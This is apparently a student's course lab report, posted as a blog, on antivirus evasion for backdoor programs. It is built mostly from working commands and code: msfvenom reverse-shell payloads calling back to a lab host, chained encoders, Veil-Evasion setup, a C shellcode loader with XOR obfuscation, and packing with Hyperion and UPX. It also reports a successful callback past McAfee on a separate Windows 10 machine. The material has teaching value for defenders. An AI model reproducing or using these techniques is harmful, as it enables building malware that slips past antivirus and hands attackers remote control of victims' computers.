20192428魏来 《网络与系统系统攻防技术》实验三 免杀原理与实践

《网络与系统攻防技术》实验三 免杀原理与实践

实践目标

  1. 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  2. 通过组合应用各种技术实现恶意代码免杀
    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实践一 正确使用msf编码器、veil-evasion,自己利用shellcode编程等免杀工具或技巧

栋哥讲的网课中,提到过杀软检测恶意代码有大概以下三种方式:基于特征码的检测(对片段特征进行检测而非整个文件)、启发式恶意软件检测(根据行为特征来判断)、基于行为的恶意软件检测(启发式的一种,加入行为监测的启发式)。
基于以上三种方式,接下来我们使用msf产生后门程序,并使用VirusTotal对我们的后门程序进行扫描,使用免杀工具或者技巧来降低我们后门程序的检杀率。
下面我们进行对比:

初始的后门程序 first_backdoor_none.exe

ifconfig  # 查看我们的ip地址,并选择2428端口,作为我们生成后门程序的ip和端口号。

==============================================================================  # 得到结果
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.202.134  netmask 255.255.255.0  broadcast 192.168.202.255  # ip为192.168.202.134
        inet6 fe80::20c:29ff:febb:cfa7  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:bb:cf:a7  txqueuelen 1000  (Ethernet)
        RX packets 7357  bytes 3534279 (3.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2751  bytes 436983 (426.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16  bytes 756 (756.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 756 (756.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
==============================================================================

# 接下来使用msf生成一个初始后门程序,没有任何免杀步骤。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=2428 -f exe > first_backdoor_none.exe
# first_backdoor_none.exe为我们的后门程序,接下来将该文件上传到VirusTotal中,查看文件检杀率

image
如上图,初始的后门程序的检杀率高达 53/69

免杀尝试1:多次编码 second_backdoor_encode.exe

参考Msfvenom命令总结大全,使用 -e 结合 -i 尝试降低检杀率。

# 编译10次,ip、端口均不变
msfvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 -i 10 LHOST=192.168.202.134 LPORT=2428 -f exe > second_backdoor_encode.exe  # 这里使用了cmd/powershell_base64编码10次
# 接下来将该文件上传到VirusTotal中,查看文件检杀率

image
这里我以为能有效检测检杀率,但结果让我傻眼了:
image
对此我的推测是,检杀率不降反升是因为编码器改为powershell_base64的原因,但同时检杀率没有降低也意味着有可能提升编码次数并不能有效免杀。
(确实,作为攻击者,这种最简单的尝试防御者肯定也能想得到)
为了印证检杀率是因为编码器而无关于编码次数,我使用控制变量法,生成一个后门程序,使用powershell_base64为编码器而编译次数为0,并查看该文件的检杀率,下图为检杀率:
image

免杀尝试2:嵌套多种编码方式 third_backdoor_mixencode.exe

这个方法我参考了杨斯凌同学的博客,她使用了管道符来对后门程序多重编码,竟然真的能降低程序的检杀率,所以我也打算尝试尝试该方式来降低我们的后门程序的检杀率:

# 多重编译,分别使用了x86/shikata_ga_nai、x86/alpha_upper、cmd/powershell_base64、x86/xor、x86/countdown编码器进行编码
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.202.134 LPORT=2428 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -f raw | msfvenom -a x86 --platform windows -e x86/xor -f raw | msfvenom -a x86 --platform windows -e x86/countdown -f exe > third_backdoor_mixencode.exe
# 接下来将该文件上传到VirusTotal中,查看文件检杀率

Tips:在编码时msf编译器提示找不到x86/xor编码器,其他同学可以更改为其他编码器,同时不建议使用cmd/powershell_x86编码器,可能会导致产生的后门程序检杀率偏高。
最终通过VirusTotal查看文件检杀率,得到以下结果:
image
哎......到这里我只能说现在的av太强大了,这都降低不了检杀率,看来最终还是得上免杀工具.......
可能是由于我并没有多次编码的原因,导致检杀率不能有效降低,其他同学也可以继续尝试该方法,看看能不能有效降低检杀率。

免杀尝试3:生成其他格式文件(php、py、jar等)

# PHP文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=2428 -f raw> fourth_bd.php

# jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=2428 -f jar > fourth_bd.jar

# python文件
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=2428 -f py > fourth_bd.py

# bash文件
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.202.134 LPORT=2428 -f raw > fourth_bd.sh

下图为上述四份文件的检杀率,其中python和bash的检杀率为0:(对这个不是很能理解)
image
image
image
image

免杀尝试4:使用套壳软件降低检杀率 fifth_backroom_veil.bat

# 安装免杀软件Veil,该步会经常出现问题,参考了陈瀚文同学和苏祺同学的解决方案
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*  # 已安装
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32  # 参考苏祺同学的解决方法,安装前置包,我的环境下不需安装的包已打上备注

sudo apt-get install veil-evasion  # 安装veil
# 这里依旧报错
ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe).   Run: /usr/share/veil/config/setup.sh --force --silent

# 运行下一步骤
/usr/share/veil/config/setup.sh --force --silent

# 依旧发现报错,报错内容:
Failed to run (wine) Python pip pefile... Exit code: 1
Failed to install (Wine) Ruby.exe... Exit code: 1
Failed to run (wine) Ruby OCRA.. Exit code: 49

#接下来使用陈瀚文同学博客中所提到的解决方案:更换github源为gitee
vim /usr/share/veil/config/setup.sh  # 在代码中找到克隆仓库的指令
# git clone https://github.com/Veil-Framework/VeilDependencies.git  <----就是它
# 更换源为:https://gitee.com/githubren/VeilDependencies.git

image
经过上述操作后,Veil安装成功,如上图。
进入veil后,输入use evasion
这里进入命令行后,输入list可以查看支持的载荷,因为实验要求我们使用的是Windows下的后门程序,因此我们使用载荷:powershell/meterpreter/rev_tcp.py
如下图:
image
在选择载荷后,并且设置过ip和端口后生成文件:fifth_backroom_veil.bat
产生加壳后的bat文件后,使用VirusTotal查看检杀率,如下图:
image
可见检杀率明显下降,从53/68下降至34/58
免杀成功实现。

免杀尝试5: 使用C+shellcode编程,注入Shellcode并执行 sixth_backroom_shellcode.exe

首先需要使用msf生成一段C语言的shellcode代码;

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=2428 -f c > 2428shellcode.c
# 生成一段内含shellcode的C文件,但C文件中仅有一个字符空数组

image
向C文件中加入主函数,使该C文件能够正常运行:

int main(){
	int (*func)() = (int(*)())buf;
	func();
}

得到完整的C文件后,再将该文件转换为exe格式:

i686-w64-mingw32-gcc 2428shellcode.c -o sixth_backroom_shellcode.exe
# 最后文件名为sixth_backroom_shellcode.exe

最终检杀效果如下图;
image

实践二 通过组合应用各种技术实现恶意代码免杀

这里我学习了邢质斌同学的方法,将shellcode二次异或,就可以得到源码的特性,对shellcode进行手动加密(也可以进行一些其他的加密,但明显异或方便快捷),同时进行多次编码,最后进行套壳(部分杀毒软件可能会有壳的特征码,因此该步骤有可能不能有效地降低检杀率)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.202.134 LPORT=2428 -f c > 2428shellcode_rox.c
# 二十次编码,encoder为x86/shikata_ga_nai

# 下面这部分加入到main函数中,先将之前生成的shellcode异或一次,更新buf数组,接下来运行再异或一次达到两次异或得到源shellcode的目的
int i;
for (i = 0; i < sizeof(buf); i++){
 	buf[i] ^= 0x01;
 }

# 编译为exe文件
i686-w64-mingw32-gcc 2428shellcode_rox.c -o final_backroom.exe

# 加密壳
wine /usr/share/windows-resources/hyperion/hyperion.exe -v final_backroom.exe final_backroom_jiami.exe

# 加密壳效果并不好,因此再加一层压缩壳
upx final_backroom_jiami.exe -o final_backroom_yasuo.exe

结果最终检杀率也没多好啊。。。。。看不懂
不知道为什么有些同学的检杀率那么低(悲)
救命。。。
image

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

系统版本为Windows 10,杀毒软件为联想杀毒(McAfee)
这里我使用了实践二中的缝合怪(其实也没缝什么):final_backroom_yasuo.exe
Kali主机使用实践二的步骤,成功回连~如下图:
image

问题及解决方法

问题一:vile工具无法下载

解决方法:这个问题相信大部分同学都遇到了,解决方案我已经在免杀尝试4中提过,在这里再打一遍~

# 安装免杀软件Veil,该步会经常出现问题,参考了陈瀚文同学和苏祺同学的解决方案
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*  # 已安装
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32  # 参考苏祺同学的解决方法,安装前置包,我的环境下不需安装的包已打上备注

sudo apt-get install veil-evasion  # 安装veil
# 这里依旧报错
ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe).   Run: /usr/share/veil/config/setup.sh --force --silent

# 运行下一步骤
/usr/share/veil/config/setup.sh --force --silent

# 依旧发现报错,报错内容:
Failed to run (wine) Python pip pefile... Exit code: 1
Failed to install (Wine) Ruby.exe... Exit code: 1
Failed to run (wine) Ruby OCRA.. Exit code: 49

#接下来使用陈瀚文同学博客中所提到的解决方案:更换github源为gitee
vim /usr/share/veil/config/setup.sh  # 在代码中找到克隆仓库的指令
# git clone https://github.com/Veil-Framework/VeilDependencies.git  <----就是它
# 更换源为:https://gitee.com/githubren/VeilDependencies.git

只能说是非常麻烦,而且不好用,安装成功界面如下图:
image

问题二:加壳、压缩对检杀率并没有显著下降效果

问题分析:这里我也看了一些同学也提出过这个问题,我认为壳仅仅为了压缩,没有反调试功能和其他功能,甚至只要找到程序入口点就可以脱壳了,以实现在内存中完全还原,这样杀毒软件就可以同样在内存中查到完整的本体代码了,因此加壳导致我们的效果并没有显著下降。

实践感悟

在本次实验中,我接触了许多不同的免杀工具,使用一些检测网站对自己进行免杀操作后的后门程序进行检测,成功实现了免杀的初步尝试。不过鉴于现在大部分的检杀软件过于成熟,课程中学习到的一些较为基础的免杀操作并不能有理想的效果,在今后的学习中希望能够学到更厉害(牛掰)的技术,成为一名真正的黑客~

posted @ 2022-04-09 13:52  岁岁敲代码  阅读(111)  评论(0编辑  收藏  举报